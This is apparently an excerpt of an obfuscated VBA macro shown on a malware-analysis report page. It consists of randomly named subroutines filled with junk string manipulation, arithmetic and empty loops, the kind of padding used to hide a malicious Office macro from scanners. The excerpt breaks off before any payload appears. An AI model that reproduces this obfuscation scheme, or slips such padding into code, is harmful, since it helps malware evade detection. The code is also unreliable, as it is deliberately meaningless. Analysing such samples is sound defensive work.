    mAEtxuv = Space(16)
    jwNRahOYDlJ = Left("MypBK_aT*XLA#&g.l", 3)
    kVkUkIEpMLEs = 148 + 269 + 738
    AFUQNvlsHn = 414 - 470 - 498
    NQvPDnmuLvtR = Right("AIB.r[NQnrDr%[", 4)
    For KtiCcL = 0 To 7
        kVkUkIEpMLEs = LTrim("gOl[%e-OMj.YGY")
        NQvPDnmuLvtR = Left("v-.P^vG]UKNT$_wNf$ev", 3)
        shIqMKkHE = "S*_OrcYeOD.i[zd@n" + "k!IduBRtuNarRUHp" + "?IHMtw^GSQ"
        jwNRahOYDlJ = LTrim("o@x)scB-ZWV")
        NQvPDnmuLvtR = "ZAJNVReHf#hL" + "mGTs%w^SFlBNtPX" + "#^@&]Olm.u@Txyz#rMH"
    Next KtiCcL

    cgIsm = UCase(")Mlah@cIwsXz*!Y[[h[E")
    ElVFsuBa = RTrim("OSHKU-q-NCn)DaDLhxF")
End Sub

Private Sub NobdJX(mFWONLT As String)
    kVkUkIEpMLEs = Space(5)
    kVkUkIEpMLEs = "Cz%Ck_!g]E?BZU" + "h-$ oQTtCBTwiwmiFnAQ" + "MMkjGk.b$abFupYeZ"
    wtLCrbqbc = Space(2)
    wtLCrbqbc = Right("a#?e%ODtUC", 3)
    AFUQNvlsHn = StrReverse("rc[Zq_]CVPmV#qkT^U")
    UMDHaZkttp = Left("a&fHerg&omvTReZ(oGr", 5)
    shIqMKkHE = UCase("V*yTILhUmp%Ce$s")
    mAEtxuv = RTrim("ZNiMw*seJqAXI^iJ")
    ElVFsuBa = UCase("Jsv]d^bGvK Hh")
    wtLCrbqbc = "yV*Ji$sneW" + "gPp^PrsKDY!ZV" + "G)-(*BFmF@-MBKcI"
    kVkUkIEpMLEs = Right("G$LpO!_^*?kLCg", 2)
    NQvPDnmuLvtR = "ec!_efuZrH^f" + "Z%aKtoPSsr@muVCa" + "&kBpli@!NNrndAQD]k"
    wtLCrbqbc = UCase("U.pB?oRdYu#*)Rh")
    While KjShrb < 2
        For espoFB = 0 To 10
            wtLCrbqbc = LTrim("(YrTk%or[*t*JUr")
            cgIsm = Right("w$tNK$.LJcTcQJ", 2)
            NQvPDnmuLvtR = Left("EX[dldIoLUu(PrgOY", 2)
            NQvPDnmuLvtR = "Kx?rjA$PjsoW v[Wq" + "V!& ASRH$*S" + "M)^_%]vIrQi#"
            wtLCrbqbc = RTrim("-Oa&.G(uUjPc")
            AFUQNvlsHn = UCase("RX%IudCc@nSGIfrD_y")
            wtLCrbqbc = Space(6)
        Next espoFB

        cgIsm = UCase("[r-RsGsI?)^nkTP")
        NQvPDnmuLvtR = 1306 - 1675 - 683
        mAEtxuv = LTrim("a_PorKq&K?EvU$C")
        wtLCrbqbc = 1537 - 907 - 1971
        shIqMKkHE = Right("#r_IkL#ZWoPpjU_hs", 4)
        ElVFsuBa = Right("djIHMbtAVczCsaQqoST", 4)
        ElVFsuBa = Right("puvFLdg-A*x%", 4)
        ElVFsuBa = RTrim(")!j&NGkS]!K")
        wtLCrbqbc = RTrim(")S)lSP@]MvxQ")
        cgIsm = 1972 - 456 - 1429
        KjShrb = KjShrb + 3
    Wend

    jwNRahOYDlJ = LTrim("nVHSaMuMr]aRUYwm")
    NQvPDnmuLvtR = UCase("yCOijtwulO]&Y(")
    shIqMKkHE = Space(20)
    wtLCrbqbc = 644 - 593 - 1965
    ElVFsuBa = LTrim("i[FJqVFSsVAwn.j$")
    cgIsm = 1899 + 910 + 606
End Sub

Private Sub FyPxvE(yRCDRop As Double, jyOqtnP As String)
    UMDHaZkttp = "u]aal&ntN@!K^$RQxO[Q" + "%@#w.)LQ^@nuebmJPn-" + "jK@eG_wJNY$pa"
    cgIsm = UCase("bk-o.@G)MGRa_o[fxc")
    mAEtxuv = UCase("XNe(DI]w-Mu#ohsT.yd")
    jwNRahOYDlJ = LTrim("@uNod%TyvHlQ-V")
    shIqMKkHE = Space(5)
    kVkUkIEpMLEs = 563 + 1672 + 712
    kVkUkIEpMLEs = StrReverse("zxk.?htUImLE)it")
    ElVFsuBa = RTrim("([  F#i!awUGU")
    AFUQNvlsHn = Left("m#mYFxzg&KKc[lx", 2)
    For cmzXrb = 0 To 5
        While YnSeLp < 3
            ElVFsuBa = "nZ$N$PbbMRtsb" + "cORXl#Chxx" + "LLb$%xet)g"
            NQvPDnmuLvtR = LTrim("&)&uoFch#pK PTG")
            shIqMKkHE = Space(8)
            UMDHaZkttp = Left("%#!-L%dm%^em#bIDC v", 2)
            wtLCrbqbc = LTrim("Y.YuV([KZqAlvB!V-I")
            YnSeLp = YnSeLp + 2
        Wend

        cgIsm = LTrim("X w^*UA(IDP[?DMMAs")
        shIqMKkHE = UCase("s*ctY!zWYD")
        jwNRahOYDlJ = Left("KR)poNaE?rra", 2)
        shIqMKkHE = Right("wlepiw%mb? !QsX*h$$", 5)
        ElVFsuBa = 1682 - 738 - 1612
    Next cmzXrb

    ElVFsuBa = Space(5)
    jwNRahOYDlJ = 822 + 1167 + 1042
    NQvPDnmuLvtR = LTrim("JbU?#AGNUaghM.@(!")
    jwNRahOYDlJ = LTrim("@ALMoIN(EqqtIZrdK")
    shIqMKkHE = LTrim("Gf_bBN_%iMGLvgo")
    For fazWpW = 0 To 6
        AFUQNvlsHn = "$qWIOhe#lZ%N" + "B#HLnpEub[do" + "gMkmby$gPcONc"
        mAEtxuv = UCase("-tM@yUIK[bmX HeQz")
    Next fazWpW

    shIqMKkHE = 1118 - 1690 - 1389
    shIqMKkHE = 1940 - 1668 - 1742
    wtLCrbqbc = StrReverse("?ARPtNatZBZu[F")
    ElVFsuBa = Right("GakBQ(F#NB E", 2)
    While eqlrwY < 2
        While rQaRwb < 2
            kVkUkIEpMLEs = "QElEmWl-[q%YE" + "QTelCBq#my]zZ" + "dpp*sSdYMtXJo(Eo"
            AFUQNvlsHn = UCase("gFXrT!waf[")
            UMDHaZkttp = UCase("^E!LqMMZiy!f")
            AFUQNvlsHn = RTrim("NcTk.nmVeYOeGpaMe")
            ElVFsuBa = Space(3)
            jwNRahOYDlJ = Left("U][PqG-qZrx)K@qpgug[", 2)
            ElVFsuBa = "Wbxnq(qIzkZXXMQ" + "yy%HDRY.$W" + "Fl*]kG(pNu)fM(Vw!*"
            rQaRwb = rQaRwb + 2
        Wend

        wtLCrbqbc = "Gq.*Ysb$@&CO#" + "DOy#(_-Puj_b" + "ihYGmuSrNMBBb"
        kVkUkIEpMLEs = Right("-.jDW(NLe$p^(T&)", 2)
        kVkUkIEpMLEs = 202 + 1477 + 1655
        kVkUkIEpMLEs = LTrim(" T?efNQzflAOAHVZHh]o")
        eqlrwY = eqlrwY + 1
    Wend

    mAEtxuv = 821 - 849 - 1278
    UMDHaZkttp = Right(" RWSi! B-tqLq&Hj", 2)
    mAEtxuv = 1268 - 1299 - 1201
    jwNRahOYDlJ = StrReverse("[_*J&&BLP*$c")
    wtLCrbqbc = Right("LNRvVY_(!B", 3)
    While PCFSMI < 3
        jwNRahOYDlJ = RTrim("iA!*[UbgM ")
        wtLCrbqbc = 445 - 1926 - 927
        NQvPDnmuLvtR = Left("KFNAUt MaLa?", 4)
        mAEtxuv = "@[HPxI(dBI^h" + "tgYFxDTUz?e" + "D)wp[tGGhjOIA"
        PCFSMI = PCFSMI + 2
    Wend

    shIqMKkHE = 1873 - 1931 - 1955
    shIqMKkHE = Space(4)
End Sub

Private Function gtdrKg(YaVMivo As String, smrqal As Boolean, ZCCdOzV As Double) As String
    kVkUkIEpMLEs = StrReverse("KuJQ(Ke[tt")
    cgIsm = 1946 + 700 + 660
    AFUQNvlsHn = UCase("@Kj!AEWr^!#")
    cgIsm = "mj*ro_A?rWl(i" + "LRysXr?eLyRcTEK!g%" + "Dgfg&CsTfuI-iaMjQ%"
    ElVFsuBa = UCase("_yp#zMGkQT(W UI#i")
    wtLCrbqbc = 293 + 1973 + 339
    jwNRahOYDlJ = Left("F#.znWeCcv", 5)
    mAEtxuv = UCase("Ra?C%JUi[mp)kwdeBa")
    AFUQNvlsHn = StrReverse("y[UOS%ghUj]?)X")
    NQvPDnmuLvtR = RTrim("!!-G!#HVNDwfD)#!N_K$")
    jwNRahOYDlJ = RTrim("cz?vutPVqYFQ")
    shIqMKkHE = Left("f!NFDLUfQ%", 3)
    NQvPDnmuLvtR = Right("HRGGZmDSn*", 5)
    For XyMaTN = 0 To 4
        For bLauDu = 0 To 7
            mAEtxuv = RTrim("bEed_zq#.v!WbLW")
            wtLCrbqbc = Right("NVAft wR)-R^(", 5)
            wtLCrbqbc = "wnxSqpqiGKM$A@O?" + "Bqe$jnxYNZh" + "w(hJ? I.xx]H(oyzAX"
            kVkUkIEpMLEs = Right("nESz-feR!me?bBBPW", 4)
            AFUQNvlsHn = Left("LZ*cz(tRXPpl*K%RV", 3)
            mAEtxuv = 1574 + 322 + 1467
            cgIsm = LTrim("BQSHC%gnjp")
            kVkUkIEpMLEs = Right("io.!J*w*&^@%b", 4)
            cgIsm = 1996 - 830 - 1679
        Next bLauDu

        mAEtxuv = Left(")%LA%q)WMdjJfx%cDCk", 5)
        mAEtxuv = LTrim("HBVw@?pNTAeiXgjw--")
        AFUQNvlsHn = "irKnZqXfjao" + "WzZJkNd&cxu RGK^g" + "^sOk_mPX%WCVC"
        jwNRahOYDlJ = Right("XuSnnZhwmM", 2)
        kVkUkIEpMLEs = RTrim("HJoQfV)OWCz")
    Next XyMaTN

    wtLCrbqbc = 1062 - 1554 - 1391
    cgIsm = Right("BkQbh!vQI^FoUw??&", 5)
    wtLCrbqbc = StrReverse("SC]LtYB(W$F")
    ElVFsuBa = 1436 + 708 + 166
    shIqMKkHE = Right("fCvYHL^EBo-*hgH", 4)
    ElVFsuBa = RTrim("[Y-.H@yzTTqVySXGFe")
    mAEtxuv = UCase("ee@[Gl&YkwFkpXMY")
    ElVFsuBa = StrReverse("r]w g&CN]Yp")
    ElVFsuBa = "hcjQFXcf#n" + "IT@?Oz$ZYHwcV" + "eTHHv$qH.PaynaeaWIk$"
    wtLCrbqbc = 424 + 1207 + 1033
    UMDHaZkttp = "_]O!KUzJ GQBa?r.sb" + "OyHPekk#*lD?kD" + "g[$rk)&DzcOfNyvKd"
    shIqMKkHE = LTrim("CLcXzK.VgXqQ.")
    While sIhxOR < 2
        NQvPDnmuLvtR = StrReverse("d_gerOwLJrMEzeOFrLm")
        UMDHaZkttp = 844 + 984 + 1843
        NQvPDnmuLvtR = "x-^GOVNil]@#[d" + "cJC^TxCr&$" + "k.w(QysJAh-B^ms"
        cgIsm = Right("qz[XzMvSh-ufFnqEQkw", 3)
        sIhxOR = sIhxOR + 3
    Wend

    kVkUkIEpMLEs = 1492 + 1479 + 879
    UMDHaZkttp = Space(13)
    ElVFsuBa = UCase("QGypvuXRCQ]L(@AsB")
    kVkUkIEpMLEs = 1732 + 1893 + 391
    UMDHaZkttp = Right("T&ctcpPV!vK", 2)
    mAEtxuv = "i?GxZ)WiAKO^cNj" + "GoB.DYEo#_O SyAu" + "(TQpv#!LWadmDaO@%x"
    ElVFsuBa = 1076 + 1659 + 1605
    cgIsm = Space(3)
    gtdrKg = "jAPfUopEDSJLTvBdvWZXdfwnBNQtCNOOfXi"
End Function

Private Sub inmwhn(LbIxQtR As String)
    mAEtxuv = Space(2)
    cgIsm = 532 - 1418 - 1756
    UMDHaZkttp = RTrim("uWmpJGNi-w")
    mAEtxuv = 1690 - 440 - 425
    jwNRahOYDlJ = UCase("%hyZ&yRDJ(xd]TO[")
    wtLCrbqbc = 1973 + 1921 + 732
    cgIsm = "ZXxBWSQ&wD_]c-" + "XYU[Np!GXIW^us BS" + "PJoQQI[nPD_V w^AAfN"
    ElVFsuBa = RTrim("!QFY.UjzBt*WT)@A")
    For WrQMPN = 0 To 5
        While XcYSIN < 1
            jwNRahOYDlJ = Left("G[rapaXIEApKh", 5)
            kVkUkIEpMLEs = "zSEDbCIB]vb" + "Bat$qto@ixN" + "b#!VDtNlKk"
            ElVFsuBa = RTrim("ZzkX^b-gByB")
            cgIsm = 1469 - 967 - 1531
            mAEtxuv = 1719 + 1206 + 281
            XcYSIN = XcYSIN + 3
        Wend

        kVkUkIEpMLEs = Left("?WEZZ]gqsanJhCp[g", 3)
        shIqMKkHE = UCase("STqox_#eWaX [^mK!!xc")
        AFUQNvlsHn = Left("C.FnYgT-Rz_paigHa", 3)
        AFUQNvlsHn = Right(" IXOWOpGAxLtpUtcH", 3)
        AFUQNvlsHn = 767 + 869 + 1897
        NQvPDnmuLvtR = 1377 - 486 - 1129
        cgIsm = "RLsPQj*uEzfWVA" + "uF^wq hajKJU.r" + "cvNXgzPnVC_kk"
        kVkUkIEpMLEs = "ejGAY*wObKO" + "fXBJrIUlZUHR%)" + "Jj?VdlMxAv$MQGT"
        wtLCrbqbc = UCase("]#B(LEVxvqMy*O")
    Next WrQMPN

    For BylWMh = 0 To 10
        cgIsm = 1818 - 600 - 1659
        ElVFsuBa = Right("mphur?Th_j[ibRUN]UE]", 3)
    Next BylWMh

    UMDHaZkttp = StrReverse("K FfxwB?*vy@P")
    kVkUkIEpMLEs = 843 + 1268 + 1846
    ElVFsuBa = 1132 - 1478 - 1652
    UMDHaZkttp = RTrim("c?qibvtATcmpP$c")
    AFUQNvlsHn = LTrim("PPZizm T*AucynMl")
    mAEtxuv = LTrim("SvTUx(RS$@Q")
    AFUQNvlsHn = Right("UL@h#Wbd[bq]Hx", 2)
    While blPLgi < 3
        wtLCrbqbc = Right("$W$GAj&UJO", 2)
        ElVFsuBa = UCase("ihFNLreazJHj.S")
        UMDHaZkttp = 411 - 247 - 1378
        NQvPDnmuLvtR = 264 - 1161 - 1034
        wtLCrbqbc = "dOw[]Gdb&&^^QiW" + "zFIYhbWolu" + "(!gn.F$TivAfZ%U)k*@"
        jwNRahOYDlJ = Right("bvR(RAkj[Qdnlyyx", 4)
        kVkUkIEpMLEs = LTrim("houHsJssN@Mj%$&(dI*z")
        UMDHaZkttp = 747 - 948 - 479
        jwNRahOYDlJ = StrReverse("Je[*Og?OTAUK.U&Y")
        jwNRahOYDlJ = Left("WVh%.lHOLDHW#nU$[P", 2)
        blPLgi = blPLgi + 1
    Wend

    mAEtxuv = Left("*j*TyaSbP!uTLuBB", 4)
    While xxipgD < 3
        UMDHaZkttp = Left("b]b]L!GWwV?@u*U", 3)
        ElVFsuBa = Left("pUFkP&HD@mKmgzC", 3)
        NQvPDnmuLvtR = Space(20)
        shIqMKkHE = RTrim("*-lWJIJ.G.s&)tZ")
        xxipgD = xxipgD + 3
    Wend

    shIqMKkHE = RTrim("r_##L^MG-I#_*")
    ElVFsuBa = LTrim("lxAfFsepFCzYd")
    NQvPDnmuLvtR = Left("]$a!(rxd(Zt", 5)
    mAEtxuv = LTrim("U^p%nGGigPzT")
    shIqMKkHE = 1768 + 264 + 1547
    UMDHaZkttp = 493 - 1893 - 1244
    NQvPDnmuLvtR = Right("y?rcmJ_uzk%lrw", 3)
    NQvPDnmuLvtR = LTrim("*Ztb%SWqAX$*q")
    NQvPDnmuLvtR = 923 - 1176 - 1504
    cgIsm = LTrim("&&^]NioJPo(iH")
    wtLCrbqbc = Right("rRY?FlDouH", 2)
    cgIsm = RTrim("xoKIrvKjdfEErE]t@P$")
    ElVFsuBa = RTrim("ZN!NWLbWakullltDeN")
    While vVvOOW < 2
        While PYglRK < 5
            wtLCrbqbc = RTrim("Q*_o$Is@v?")
            NQvPDnmuLvtR = 1345 + 450 + 1719
            wtLCrbqbc = Right("cT_J!m@ndrLbX!", 4)
            jwNRahOYDlJ = Right("L*Pc&#*Svauy)", 4)
            cgIsm = 1689 + 492 + 1883
            mAEtxuv = "yG@zS!d?L%Eq" + "RkjYny@?FuLLST?" + "iJC]-PTIRKprqRoa-_"
            AFUQNvlsHn = Space(4)
            AFUQNvlsHn = Space(2)
            PYglRK = PYglRK + 3
        Wend

        NQvPDnmuLvtR = RTrim("kwVZzML@gTZrg%hx")
        NQvPDnmuLvtR = StrReverse("%#vCgffO#*ur?")
        jwNRahOYDlJ = Left("AGP]yypS%gk )#Mwe", 3)
        UMDHaZkttp = UCase("GSP]AZ$NLtGWamq")
        kVkUkIEpMLEs = "o#XJjlKvhTB$? ms&" + "^@we?wx*bxAcml" + "y))^(p)CYdue"
        UMDHaZkttp = Right("(OK_inhOSRelI&(IB!J", 2)
        jwNRahOYDlJ = UCase("Z#uwXAVi&BFfmYE%!!.")
        vVvOOW = vVvOOW + 1
    Wend

End Sub

Private Sub fBxxQI(CEHyuGg As Boolean, YLHgLDd As Double, HcgVynb As Double)
    cgIsm = 1031 - 410 - 1331
    wtLCrbqbc = LTrim("LY(Su*a&PfGu*PXQQ")
    While QRCFpr < 3
        For OIihQA = 0 To 9
            wtLCrbqbc = LTrim("MGaZ)t*rU^O")
            ElVFsuBa = 1060 - 471 - 1773
            mAEtxuv = 1191 + 1485 + 1544
            UMDHaZkttp = LTrim("llQ H_kmvrzO")
            mAEtxuv = Space(9)
            kVkUkIEpMLEs = "#!QaCOiEwllI@iu$ko" + "QLjmJXp&QFc" + ".) ]_&(fA?eNJ"
            mAEtxuv = 504 + 168 + 318
            kVkUkIEpMLEs = Left("Ub[f_^$Uxu(e", 3)
        Next OIihQA

        jwNRahOYDlJ = Left("yJi?*$^pzW&esbKp", 3)
        wtLCrbqbc = UCase("Ip]RG)Mw$$yi")
        ElVFsuBa = Right("n^d&HLiG ?c[Cd", 5)
        cgIsm = Right("xA%auTkoOi", 5)
        mAEtxuv = 1518 - 506 - 905
        QRCFpr = QRCFpr + 2
    Wend

    mAEtxuv = 524 - 814 - 908
    mAEtxuv = RTrim(".OyMKp[y-KlMA?$[@h")
    mAEtxuv = 1974 + 1512 + 443
    jwNRahOYDlJ = Right("i%(utZ(j&D", 3)
    shIqMKkHE = 1467 + 868 + 1777
    kVkUkIEpMLEs = 588 + 1512 + 1521
    kVkUkIEpMLEs = UCase("d)cBpZ[^%KqSin[Qw?XZ")
    cgIsm = Right("wWRvMu&QU?C@Medw%m", 2)
    UMDHaZkttp = Space(6)
    jwNRahOYDlJ = 1689 - 363 - 1683
    wtLCrbqbc = UCase("wgeh-PbD!NfN&")
    NQvPDnmuLvtR = Left("AAMG%B)G[tjMc*L", 3)
    kVkUkIEpMLEs = StrReverse("^Buyiy(fU@AgLRe")
    UMDHaZkttp = RTrim("sA?uVwovJ$kp%qdd@")
    jwNRahOYDlJ = RTrim("RqPi^y-p(Jd[)k")
    wtLCrbqbc = Right(" -tePfkk i(", 2)
    NQvPDnmuLvtR = StrReverse("^#dGYv[)B.ntaaBS*A(m")
    AFUQNvlsHn = 916 + 139 + 1653
    shIqMKkHE = RTrim("]XwRL_#Z@a bJ")
    shIqMKkHE = UCase("]qnWTYioZ d")
    cgIsm = LTrim("$UZfofB%CQ[n(AE")
    jwNRahOYDlJ = LTrim("QelXfBYhpDgQG[n!")
    mAEtxuv = LTrim("DrDPI#nbg]ocuwVuoao")
    kVkUkIEpMLEs = Left("Eftxsn*KtG", 5)
    kVkUkIEpMLEs = "iKlxdnWYBU" + "?#@X@r.cb[srFK .px" + "iN^*XNnc]VRp"
    jwNRahOYDlJ = LTrim("H^y##!_y!jaqF")
    ElVFsuBa = Right("#!Ea]VEsxYWv(FXKD.", 5)
End Sub

Private Sub SwEFOY(CROdlLH As Boolean, mICSem As String)
    mAEtxuv = RTrim("_WvaPMa?NisxSDE")
    AFUQNvlsHn = LTrim("-z@Yz[pS]Cumb[S")
    wtLCrbqbc = Left("kYoH$^od@lC", 3)
    wtLCrbqbc = "JIATw]vJRzc@XgP#_" + "xs-&arsDEIl(%cu[hy" + "hnyqT*cfYCkjAhSax"
    kVkUkIEpMLEs = Space(2)
    jwNRahOYDlJ = 1147 + 111 + 187
    UMDHaZkttp = Space(18)
    AFUQNvlsHn = StrReverse("M&*FFuj#TLk(v?#nlsR.")
    For FURAPV = 0 To 6
        AFUQNvlsHn = 1296 - 1408 - 1271
        wtLCrbqbc = Left("UnJFR@HwkrGU", 5)
    Next FURAPV

    shIqMKkHE = 390 + 1006 + 529
    AFUQNvlsHn = Left("cqJfrQs.FMw^QEeCnYpz", 3)
    While EfieIJ < 3
        shIqMKkHE = 1603 - 625 - 102
        shIqMKkHE = 964 - 1895 - 668
        jwNRahOYDlJ = 714 - 946 - 129
        ElVFsuBa = 1413 + 1875 + 270
        ElVFsuBa = Right(" C@bjzLqGk", 2)
        wtLCrbqbc = Right("J$RN g_[ya]R$d", 2)
        cgIsm = "*dbTSJIXxMfsis!Tg" + "mq(QyztXTxGabC_*" + "THX*r#vKQD*Q W!*A#eA"
        EfieIJ = EfieIJ + 3
    Wend

    kVkUkIEpMLEs = 252 + 1151 + 1465
    ElVFsuBa = UCase("O$NjnG%Eoq-Q")
    cgIsm = Left("#J?Dq $eAlIaMX][", 4)
    jwNRahOYDlJ = Right("(TdI!wPsLCW%t$. Sy%", 3)
    While eAULOY < 5
        For NUwkXf = 0 To 10
            NQvPDnmuLvtR = StrReverse(" HR$@eDPgFUfrc!jreSO")
            kVkUkIEpMLEs = 301 + 1463 + 1023
            shIqMKkHE = Right("q ?V[[LNv^Bnc-y@_e", 5)
            cgIsm = LTrim("@FF^pZvW?SrS")
            mAEtxuv = Right("sS gciOMQvSwuO*I%C", 4)
            shIqMKkHE = Right("dkd[b*-Aox JN&uu$BT", 3)
            mAEtxuv = Right("I@$)%WpsUYFPhaYG@Bb", 5)
            cgIsm = Space(2)
            NQvPDnmuLvtR = Left("%%auYQZ.Sps", 2)
        Next NUwkXf

        kVkUkIEpMLEs = 1987 - 760 - 1666
        cgIsm = 1738 - 1844 - 966
        ElVFsuBa = StrReverse("xTlPqUDPBNYiCNZ]Vu")
        AFUQNvlsHn = "! mWfOI*nAPTA$)oOBT" + "Lp#^ig?RAO^" + "!peNpUXW$x]"
        eAULOY = eAULOY + 2
    Wend

    cgIsm = Space(10)
    UMDHaZkttp = Space(10)
    AFUQNvlsHn = 670 + 1648 + 1594
    wtLCrbqbc = Left("ZeILgYYvw-u", 4)
    cgIsm = UCase("KNCke)sw#V)Ab#EkTur")
    mAEtxuv = StrReverse("SOnHHY$SG_")
    ElVFsuBa = LTrim("laCECzFHxVUPRukkK")
    For faCnXM = 0 To 3
        For xPqjgN = 0 To 5
            UMDHaZkttp = LTrim("WovxMKw?l!HxTP&")
            mAEtxuv = "x&$uSY)hxUa%R_Qlo" + "FDjpOZJt#z" + "G%fKy-I#)F.k@HXbZFJ"
            shIqMKkHE = 820 + 955 + 208
            jwNRahOYDlJ = RTrim("!Tq#Lo-)O_^erf")
            ElVFsuBa = LTrim("IWgmAQg&cEa-GqG!&CV")
        Next xPqjgN

        shIqMKkHE = Space(17)
        ElVFsuBa = Left("ICHHPNyiWY*skH", 2)
        shIqMKkHE = LTrim("umjwvyfRkiLJ")
        cgIsm = Left("Q) aSeWk]w.ZfT", 3)
    Next faCnXM

    mAEtxuv = 301 - 1223 - 237
End Sub

Private Sub DpLPBu(ucbnKuN As String, ixynfv As String, jixIzH As String, wUcqFU As String, UkCwyF As String, dqVDel As String)
    shIqMKkHE = UCase("^-LczYF]_u")
    ElVFsuBa = Left("UK)peJ&Qzv(lrjsTG", 5)
    AFUQNvlsHn = Left("*xSy)lAV)xTPYHs*C", 2)
    jwNRahOYDlJ = Left("hRW*sG]M.ULh%MPFe", 5)
    ElVFsuBa = Right("ybj[ufjxaN", 5)
    jwNRahOYDlJ = StrReverse("JUW&dV!k!%@.[j")
    shIqMKkHE = Left("UdM]B-cZ --&OcMrZ_-", 3)
    For TbnKos = 0 To 1
        For pRHNsV = 0 To 5
            NQvPDnmuLvtR = Space(11)
            shIqMKkHE = StrReverse("s_ Lijwz[((AdgV")
            cgIsm = "Mkf!WZJJ.E-HhUnHhl" + "MFr&Ms)x$Igql.Y^EX" + "aiw$@vfvNE"
        Next pRHNsV

        kVkUkIEpMLEs = UCase("%lLV$ !wfPqMQUWSY_*e")
        wtLCrbqbc = UCase("KW#uGKOmCg%]!w")
        ElVFsuBa = "P*n.gTkJGZrGom#pXf" + "QP*%^ffY[N_bx" + "YrVIhESe[BAdmGZ%"
        shIqMKkHE = 1256 - 1543 - 1695
        shIqMKkHE = "rhaz@uPqp($A#f[Io#G" + "*$v?bnde_AkxuBbs-" + "bQCrr_pf&xcTSkb)kwEF"
        mAEtxuv = RTrim("IM xShLw*ycf")
    Next TbnKos

    ElVFsuBa = Right("q[^hKOXDLU#B-!", 5)
    jwNRahOYDlJ = StrReverse("HL[)(p%xaz")
    While KjOtJf < 3
        AFUQNvlsHn = Right("RKb?oV.TfSLwM^bd", 3)
        shIqMKkHE = StrReverse("[WxsfmVkBYLoCu")
        NQvPDnmuLvtR = 1160 - 1147 - 1905
        cgIsm = LTrim(" nwWle&ryaNOviHhX")
        AFUQNvlsHn = 1665 + 1506 + 1970
        ElVFsuBa = Space(20)
        shIqMKkHE = Space(5)
        mAEtxuv = LTrim("Ovs@]RUkiPdUOl")
        AFUQNvlsHn = Left("rTvkQI%@*O !", 4)
        UMDHaZkttp = RTrim("yIi!*YIk?E")
        KjOtJf = KjOtJf + 2
    Wend

    ElVFsuBa = UCase(".chyrGAcRH(g")
    kVkUkIEpMLEs = LTrim("kpTrOuDvyRsebba[")
    For HneIVP = 0 To 2
        For VmHLfW = 0 To 9
            UMDHaZkttp = StrReverse("gWbYsN?^unGwpQj")
            kVkUkIEpMLEs = RTrim("#eo!Ug&hIhznDK[fbN")
            NQvPDnmuLvtR = Space(6)
            jwNRahOYDlJ = RTrim("-Q#uy&!)tjGoUdaxwtJC")
            wtLCrbqbc = Left("x*sq[.QYn.j", 2)
        Next VmHLfW

        ElVFsuBa = Left(")lh$C!i(tL@ Kcdxa", 5)
        wtLCrbqbc = Space(13)
        cgIsm = 1979 - 1722 - 676
        NQvPDnmuLvtR = "CzI^mQg@qYR" + "IhgEeH?@OsA" + "m)uFrMOp-GC"
        NQvPDnmuLvtR = StrReverse("WDypnITu!KFBTZXPBT*R")
        cgIsm = StrReverse("u%m-DXc^d-dx")
        jwNRahOYDlJ = RTrim("$[?XVZV.txP")
        kVkUkIEpMLEs = StrReverse("?axRhXLC?N(")
    Next HneIVP

    kVkUkIEpMLEs = 480 - 248 - 1906
    NQvPDnmuLvtR = Left("uApTIDU?iE@ndQ", 2)
    NQvPDnmuLvtR = StrReverse("i&OA@iY!GNV(TD")
    mAEtxuv = Space(7)
    ElVFsuBa = Right("-mM eKOX$Q", 3)
    Dim kfCnrI As Object
    UMDHaZkttp = Space(13)
    kVkUkIEpMLEs = Right("jxDf.&UcfQ[-wU", 4)
    UMDHaZkttp = Space(10)
    kVkUkIEpMLEs = 340 - 1033 - 356
    kVkUkIEpMLEs = 1318 + 1875 + 1104
    For SQFRiW = 0 To 3
        For VOnBAO = 0 To 6
            NQvPDnmuLvtR = LTrim("ou^BrZLo#mDL%xgjaXc&")
            mAEtxuv = LTrim("]J LdOZ*PZ")
            cgIsm = Left(" YAM_[x)wB)R t*^E", 4)
            AFUQNvlsHn = RTrim("ZkxDJaXtf)IYYRMRZ")
            NQvPDnmuLvtR = RTrim("p%[N)V[Md#Wu?Ir)DoM")
            kVkUkIEpMLEs = RTrim("MxKF*_GpQ!zSPXtTLcq")
            kVkUkIEpMLEs = 392 + 1052 + 245
            shIqMKkHE = Left("@Pv^Q)@i_Yy?_L%T", 4)
        Next VOnBAO

        ElVFsuBa = "R&GVunlTjN" + "_LlvgAeDeNj-w" + "YslbQKw(^xroC#*jSgaY"
        kVkUkIEpMLEs = 1784 + 620 + 202
        cgIsm = StrReverse("A)c#K-W-o#o")
…

Open this report in the interactive analyzer, or submit your own file for analysis.